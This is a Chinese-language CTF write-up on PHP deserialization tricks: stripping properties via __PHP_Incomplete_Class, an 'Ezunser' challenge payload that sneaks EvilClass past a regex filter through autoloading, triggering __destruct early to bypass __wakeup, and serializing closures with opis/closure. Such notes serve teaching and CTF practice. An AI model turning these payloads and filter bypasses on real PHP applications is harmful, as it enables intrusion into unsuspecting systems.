前提概要

https://zhuanlan.zhihu.com/p/405838002

之前比赛遇到的题目,根据师傅的回答复现一下

__PHP_Incomplete_Class

当反序列化 __PHP_Incomplete_Class 这个类后,再对其进行序列化时,其属性会消失。

0x01:

首先__PHP_Incomplete_Class是当反序列化一个不存在的类时出现的类,而__PHP_Incomplete_Class_Name属性就是反序列化时不存在的类的类名:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<?php
// class A{
// public $test = 'a';
// }
$a = 'O:1:"A":1:{s:4:"test";s:1:"a";}';
var_dump(unserialize($a));
var_dump(serialize(unserialize($a)));

//object(__PHP_Incomplete_Class)#1 (2) {
// ["__PHP_Incomplete_Class_Name"]=>
// string(1) "A"
// ["test"]=>
// string(1) "a"
//}
//string(31) "O:1:"A":1:{s:4:"test";s:1:"a";}"

而当再次反序列化的时候,内容并没有发生变化,这就说明了当序列化__PHP_Incomplete_Class时会先去查找属性__PHP_Incomplete_Class_Name的值,然后进行序列化为相对应的类

而我们可以根据该特点构造相对应的字符串,即构造存在__PHP_Incomplete_Class类但类中却不存在__PHP_Incomplete_Class_Name属性,当该字符串经过反序列化和序列化之后就会丢弃类里面的其他属性:

1
2
3
4
5
6
7
8
9
10
11
12
13
<?php
// class A{
// public $test = 'a';
// }
$a = 'O:22:"__PHP_Incomplete_Class":1:{s:4:"test";s:1:"a";}';
var_dump(unserialize($a));
var_dump(serialize(unserialize($a)));

//object(__PHP_Incomplete_Class)#1 (1) {
// ["test"]=>
// string(1) "a"
//}
//string(34) "O:22:"__PHP_Incomplete_Class":0:{}"

n^3ctf_Ezunser

题目

反序列化未定义的类

直接给了源码:

index.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
<?php
function myAutoloader($classname){
include $classname.".php";
}
if(isset($_REQUEST['pop'])){
$pop = $_REQUEST['pop'];
$o = unserialize($pop);
echo "<br/>";
spl_autoload_register('myAutoloader');
$raw = serialize($o);
if(preg_match("/Evil/",$raw)){
throw new Error("Evil Classes!");
}
$o = unserialize($pop);
var_dump($o);
}else {
highlight_file(__FILE__);
echo "<br/>EvillClass.php";
highlight_file("EvilClass.php");
}

0x01:

先审计index.php

第一个点在于spl_autoload_register,当调用index.php中没有定义的类的时候就会自动调用myAutoloader($classname),其中$classname就是我们想实例化的类

想当然地我们想调用EvilClass.php里面的类,所以要include EvilClass.php,但是文件里还是没有定义EvilClass,这里就涉及到一个[php反序列的冷知识](PHP序列化冷知识 - 知乎 (zhihu.com))

我们还发现之后的if判断语句中ban掉了Evil,这就说明在序列化之后的字符串中不能再出现EvilClass,不过可以直接拿里面的payload

所以payload1:

1
a:1:{i:0;O:22:"__PHP_Incomplete_Class":1:{s:3:"qwb";O:9:"EvilClass":0:{}}}

……

fast __destruct

在__wakeup前触发 __destruct

1、如果单独执行unserialize函数进行常规的反序列化,那么被反序列化后的整个对象的生命周期就仅限于这个函数执行的生命周期,当这个函数执行完毕,这个类就没了,在有析构函数的情况下就会执行它。
2、如果反序列化函数序列化出来的对象被赋给了程序中的变量,那么被反序列化的对象其生命周期就会变长,由于它一直都存在于这个变量当中,当这个对象被销毁,才会执行其析构函数。

而有时候我们如果提前执行__destruct(析构函数)就会绕过题目中某些限制,从而产生利用点,比如就可以bypass __wakeup(不过与php版本有关)

提前触发的方法:

1
2
3
4
修改属性个数值:
O:1:"A":2:{s:4:"test";s:2:"ls";}
去掉序列化尾部:
O:1:"A":1:{s:4:"test";s:2:"ls";

例子:可以明显看到var_dump执行的顺序是不一样的

img

img

反序列化函数闭包

闭包函数也就是匿名函数,而在定义闭包函数的时候就会自动实例化Closure

img

但是直接用php自带的serialize函数对这个类进行序列化的时候会报错,但是我们可以通过工具去实现闭包函数的序列化

0x01:安装

closure

img

0x02:使用

之后直接测试吧,可以发现闭包函数直接用unserialize反序列化之后和opis\closure\unserialize反序列化的时候的返回值是不一样的但是都可以直接当作函数使用:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
<?php
require('vendor/autoload.php');
$a = function(){
echo "a";
};
$b = opis\closure\serialize($a);
var_dump(opis\closure\serialize($a));
var_dump(unserialize($b));
unserialize($b)();
var_dump(opis\closure\unserialize($b));

//string(198) "C:32:"Opis\Closure\SerializableClosure":152:{a:5:{s:3:"use";a:0:{}s:8:"function";s:29:"function(){
// echo "a";
//}";s:5:"scope";N;s:4:"this";N;s:4:"self";s:32:"000000000bc714b9000000004a5c0eab";}}"

//object(Opis\Closure\SerializableClosure)#2 (5) {
// ["closure":protected]=>
// object(Closure)#5 (0) {
// }
// ["reflector":protected]=>
// NULL
// ["code":protected]=>
// string(29) "function(){
// echo "a";
//}"
// ["reference":protected]=>
// NULL
// ["scope":protected]=>
// NULL
//}
//a

//object(Closure)#7 (0) {
//}